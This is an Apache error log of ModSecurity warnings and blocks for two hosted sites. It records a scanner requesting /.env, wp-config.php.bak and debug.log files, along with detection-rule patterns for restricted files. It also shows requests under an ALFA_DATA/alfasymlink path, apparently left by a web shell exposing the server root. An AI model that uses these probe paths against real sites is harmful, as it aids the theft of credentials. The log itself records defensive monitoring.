[Sat Oct 24 08:10:38.577418 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPlGNStwISql-V9e98wAAAAs"]
[Sat Oct 24 08:10:38.646968 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/server/.env"] [unique_id "atygPvMnT_rHlxLKOWDnBgAAAAc"]
[Sat Oct 24 08:10:38.647112 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/server/.env"] [unique_id "atygPvMnT_rHlxLKOWDnBgAAAAc"]
[Sat Oct 24 08:10:38.647768 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPvMnT_rHlxLKOWDnBgAAAAc"]
[Sat Oct 24 08:10:38.648462 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/src/.env"] [unique_id "atygPl0Yuvqa3nuKpvNCIQAAAAk"]
[Sat Oct 24 08:10:38.648591 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/src/.env"] [unique_id "atygPl0Yuvqa3nuKpvNCIQAAAAk"]
[Sat Oct 24 08:10:38.649310 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPl0Yuvqa3nuKpvNCIQAAAAk"]
[Sat Oct 24 08:10:38.650187 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/staging/.env"] [unique_id "atygPkWIGyA7zCtes8CKTAAAAAw"]
[Sat Oct 24 08:10:38.650315 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/staging/.env"] [unique_id "atygPkWIGyA7zCtes8CKTAAAAAw"]
[Sat Oct 24 08:10:38.651046 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPkWIGyA7zCtes8CKTAAAAAw"]
[Sat Oct 24 08:10:38.652820 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/test/.env"] [unique_id "atygPlGNStwISql-V9e99AAAAAs"]
[Sat Oct 24 08:10:38.652968 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/test/.env"] [unique_id "atygPlGNStwISql-V9e99AAAAAs"]
[Sat Oct 24 08:10:38.653638 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPlGNStwISql-V9e99AAAAAs"]
[Sat Oct 24 08:10:38.655090 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/v2/.env"] [unique_id "atygPmyV-56kZb5LgxTnIwAAAAE"]
[Sat Oct 24 08:10:38.655110 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/v1/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj3wAAAAM"]
[Sat Oct 24 08:10:38.655244 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/v2/.env"] [unique_id "atygPmyV-56kZb5LgxTnIwAAAAE"]
[Sat Oct 24 08:10:38.655317 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/v1/.env"] [unique_id "atygPoY2rJh4KkI7ZZhj3wAAAAM"]
[Sat Oct 24 08:10:38.655930 2026] [security2:error] [pid 2635676:tid 2635676] [client 34.52.133.111:44966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPmyV-56kZb5LgxTnIwAAAAE"]
[Sat Oct 24 08:10:38.656171 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPoY2rJh4KkI7ZZhj3wAAAAM"]
[Sat Oct 24 08:10:38.689462 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/web/.env"] [unique_id "atygPnUcfBNBYE9xHAJA-gAAAAA"]
[Sat Oct 24 08:10:38.689638 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/web/.env"] [unique_id "atygPnUcfBNBYE9xHAJA-gAAAAA"]
[Sat Oct 24 08:10:38.690411 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPnUcfBNBYE9xHAJA-gAAAAA"]
[Sat Oct 24 08:10:38.722842 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/wp-content/debug.log"] [unique_id "atygPg6rpxYYtVdDcXCoUwAAABg"]
[Sat Oct 24 08:10:38.723092 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/wp-config.php.bak"] [unique_id "atygPvMnT_rHlxLKOWDnBwAAAAc"]
[Sat Oct 24 08:10:38.723180 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/wp-content/debug.log"] [unique_id "atygPg6rpxYYtVdDcXCoUwAAABg"]
[Sat Oct 24 08:10:38.723237 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/wp-config.php.bak"] [unique_id "atygPvMnT_rHlxLKOWDnBwAAAAc"]
[Sat Oct 24 08:10:38.723980 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPg6rpxYYtVdDcXCoUwAAABg"]
[Sat Oct 24 08:10:38.723981 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPvMnT_rHlxLKOWDnBwAAAAc"]
[Sat Oct 24 08:10:42.146956 2026] [ssl:error] [pid 2635681:tid 2635681] (70014)End of file found: [client 52.54.249.218:31411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:10:58.200613 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 18.214.124.6:63381] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:11:06.262064 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.236.41.241:24863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:11:07.702313 2026] [security2:error] [pid 2609012:tid 2609012] [client 85.208.96.198:26588] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/Gray.cs"] [unique_id "atygW3UcfBNBYE9xHAJA-wAAAAA"]
[Sat Oct 24 08:11:07.702685 2026] [security2:error] [pid 2609012:tid 2609012] [client 85.208.96.198:26588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/Gray.cs"] [unique_id "atygW3UcfBNBYE9xHAJA-wAAAAA"]
[Sat Oct 24 08:11:07.703118 2026] [security2:error] [pid 2609012:tid 2609012] [client 85.208.96.198:26588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/Gray.cs"] [unique_id "atygW3UcfBNBYE9xHAJA-wAAAAA"]
[Sat Oct 24 08:11:14.149026 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 50.19.221.48:40132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/firmware_node/subsystem/drivers/battery/uevent
[Sat Oct 24 08:11:30.285848 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 100.29.63.24:51911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:11:38.130325 2026] [security2:error] [pid 2609012:tid 2609012] [client 98.84.200.43:42870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory7/"] [unique_id "atygenUcfBNBYE9xHAJA_AAAAAA"]
[Sat Oct 24 08:11:38.130366 2026] [security2:error] [pid 2609012:tid 2609012] [client 98.84.200.43:42870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory7/"] [unique_id "atygenUcfBNBYE9xHAJA_AAAAAA"]
[Sat Oct 24 08:11:46.161620 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.226.106.93:30416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:11:54.146089 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 100.29.63.24:32471] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:12:02.337902 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.209.137.234:65178] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:12:04.482572 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 185.191.171.12:35100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:12:06.148161 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.2.4.213:7197] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:12:22.157976 2026] [ssl:error] [pid 2635681:tid 2635681] (70014)End of file found: [client 44.212.131.50:14866] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:12:26.265030 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 50.16.248.61:33528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:12:31.420371 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.211:62644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/destroy_by_rcu
[Sat Oct 24 08:12:32.603387 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 85.208.96.200:16896] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/align
[Sat Oct 24 08:12:46.239012 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 35.172.125.172:47946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:12:50.162550 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 23.21.148.226:16298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:13:02.140420 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.156.248.117:17865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:13:31.779660 2026] [security2:error] [pid 2627273:tid 2627273] [client 43.135.186.135:40594] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapep.php"] [unique_id "atyg6xdOhHN-18IxgZKqsQAAAAY"]
[Sat Oct 24 08:13:40.099306 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.1:29738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/objs_per_slab
[Sat Oct 24 08:13:46.136994 2026] [ssl:error] [pid 2635687:tid 2635687] (70014)End of file found: [client 3.213.106.226:20945] AH02013: coalesce failed to read from data bucket
